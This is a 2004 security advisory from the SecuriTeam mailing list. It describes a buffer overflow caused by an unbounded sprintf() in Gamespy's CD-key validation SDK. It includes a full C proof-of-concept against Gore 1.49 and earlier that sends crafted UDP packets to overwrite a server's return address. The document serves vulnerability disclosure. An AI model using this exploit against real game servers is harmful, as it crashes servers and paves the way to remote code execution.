[NEWS] Gamespy SDK Cd-Key Validation Toolkit Buffer Overflow
From: SecuriTeam (support_at_securiteam.com)
Date: 12/13/04
- Previous message: SecuriTeam: "[UNIX] Citadel/UX Remote Format String"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 13 Dec 2004 18:02:45 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Gamespy SDK Cd-Key Validation Toolkit Buffer Overflow
------------------------------------------------------------------------
SUMMARY
<http://www.gamespy.net/> Gamespy's CDKey validation toolkit is an SDK
for games developers which enables them to easily implement online
management of users and cd-key validation.
The in-game CD-Key validation toolkit is prone to a buffer overflow under
certain conditions outlined in the following advisory. This might lead to
remote code execution on the target server.
DETAILS
Vulnerable Systems:
* Any game which uses the SDK version prior to 19th November 2004
Immune Systems:
* Games with an updated Gamespy SDK from 19th Nov. onward
The problem begins by an overly long reply sent by the game client to the
game server. Typically there is no bounds checking on the returned client
string and hence developers must place such a check themselves in order
for their game not to be vulnerable. However, most games do not and just
use the toolkit blindly.
The string is passed to an sprintf() call in preparation of a query for
validating the CD-Key:
query_length = sprintf(
query,
"\\auth\\\\pid\\%d\\ch\\%s\\resp\\%s\\ip\\%d\\skey\\%d",
pid, // product ID of the game
ch, // server challenge
resp, // client response <-- the cause of the bug!
ip, // client IP address
skey); // number to track the query
An explanation of the authentication method used by the Gamespy CD-Key
validation SDK is available here:
<http://aluigi.altervista.org/papers/gskey-auth.txt>
http://aluigi.altervista.org/papers/gskey-auth.txt
The problem with the sprintf() call is that it allows for an arbitrary
string length to be inserted in to the query. This might lead to
overwriting of memory in such a manner that paves the way to remote code
execution. The query is even XORed with the word "gamespy" in order to
somehow obfuscate the format of the buffer. This countermeasure is of
course simple and will fool a person looking at the raw data directly.
The vulnerability is limited due to the following factors:
* Since this bug is an in-game bug while building a query for CD-Key
validation, the attacker must be a legitimate online user connected to the
server.
* The attacker must understand the game's online protocol in order to
send the malformed reply which will trigger the buffer overflow. This is
perhaps not always trivial and might require the use of a debugger.
* If the developers of the game added special bounds checking code on the
user string, thus protecting the toolkit, the buffer overflow would not be
exploitable.
Proof Of Concept
Note: The PoC requires additional headers and source files in order to
compile. Only the main code is listed below. For the rest, refer to the
link.
/*
by Luigi Auriemma - http://aluigi.altervista.org/poc/goregsbof.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "md5.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 27777
#define TIMEOUT 3
#define XORSEEK 3 /* "gamespy", \auth\\pid\302\ch\12345678\resp\ */
#define EIP "\xde\xc0\xad\xde"
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr
*)&peer, sizeof(peer)) \
< 0) std_err();
#define RECV if(timeout(sd) < 0) { \
fputs("\n" \
"Error: socket timeout, no answer received\n" \
"\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();
void gamespy_xor(u_char *data, int len);
void gs_info_udp(u_long ip, u_short port);
void gore_pwd_md5(u_char *buff, u_char *pwd, int pwdlen);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ],
p1[] =
"\x02\x00\x0F\x00"
"\x01" /* 1 = clear, 3 = password */
"\x00\x00\x00\x00\x00\x00\x00\x00", /* password */
p2[] =
"\x0A\x00\x00\x00\x00\x00\x00\x00\x00",
p3[] =
"\x01\x03\x00\x00\x01\x01\x01\x00\x00\x00\x8F\x02"
"\x49" /* hash size, don't modify! */
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000"
"000000000000000000000000000000000"
EIP
"\0";
setbuf(stdout, NULL);
fputs("\n"
"Gore <= 1.49 Gamespy cd-key SDK buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n"
" The return address will be overwritten with 0x%08lx\n"
"\n", argv[0], port, *(u_long *)EIP);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- request informations:\n", stdout);
gs_info_udp(peer.sin_addr.s_addr, port);
for(;;) { /* loop used for password only */
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- send first join packet\n", stdout);
SEND(p1);
RECV;
if(buff[4] == 2) {
fputs("\n- server full\n", stdout);
break;
} else if(buff[4] == 4) {
fputs("\nInsert the password to join the server:\n ", stdout);
fflush(stdin);
fgets(buff, BUFFSZ - 1, stdin);
len = strlen(buff) - 1;
buff[len] = 0x00;
p1[4] = 0x03;
gore_pwd_md5(p1 + 5, buff, len);
close(sd);
continue;
} else if(buff[4] != 1) {
printf("\nError: unknown server error %d\n\n", buff[4]);
exit(1);
}
fputs("- send second join packet\n", stdout);
memcpy(p2 + 1, buff + 5, 8);
SEND(p2);
RECV;
fputs("- encode hash (XOR \"gamespy\")\n", stdout);
gamespy_xor(p3 + 13, sizeof(p3) - 14);
printf("- send final packet containing the buffer-overflow data
(EIP: 0x%08lx)\n",
*(u_long *)EIP);
SEND(p3);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
RECV;
if(len > 9) {
printf(
"you have received the following error message from
the server\n"
"\n"
" %s\n"
"\n", buff + 12);
}
}
break;
}
close(sd);
return(0);
}
void gamespy_xor(u_char *data, int len) {
u_char gamespy[] = "gamespy",
*gs;
for(gs = gamespy + XORSEEK; len; len--, gs++, data++) {
if(!*gs) gs = gamespy;
*data ^= *gs;
}
}
void gs_info_udp(u_long ip, u_short port) {
struct sockaddr_in peer;
int sd,
len,
nt = 1;
u_char buff[2048],
*p1,
*p2;
peer.sin_addr.s_addr = ip;
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\nAlert: socket timeout, no replies received. Probably the
server doesn't support the Gamespy query protocol or the port is
wrong\n\n", stdout);
close(sd);
return;
}
len = recvfrom(sd, buff, sizeof(buff) - 1, 0, NULL, NULL);
if(len < 0) std_err();
buff[len] = 0x00;
p1 = buff;
while((p2 = strchr(p1, '\\'))) {
*p2 = 0x00;
if(!nt) {
if(!*p1) break;
printf("%30s: ", p1);
nt++;
} else {
printf("%s\n", p1);
nt = 0;
}
p1 = p2 + 1;
}
printf("%s\n\n", p1);
close(sd);
}
void gore_pwd_md5(u_char *buff, u_char *pwd, int pwdlen) {
md5_context md5t;
static u_char md5h[16];
md5_starts(&md5t);
md5_update(&md5t, pwd, pwdlen);
md5_finish(&md5t, md5h);
memcpy(buff, md5h, 8);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org> Luigi
Auriemma.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] Citadel/UX Remote Format String"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|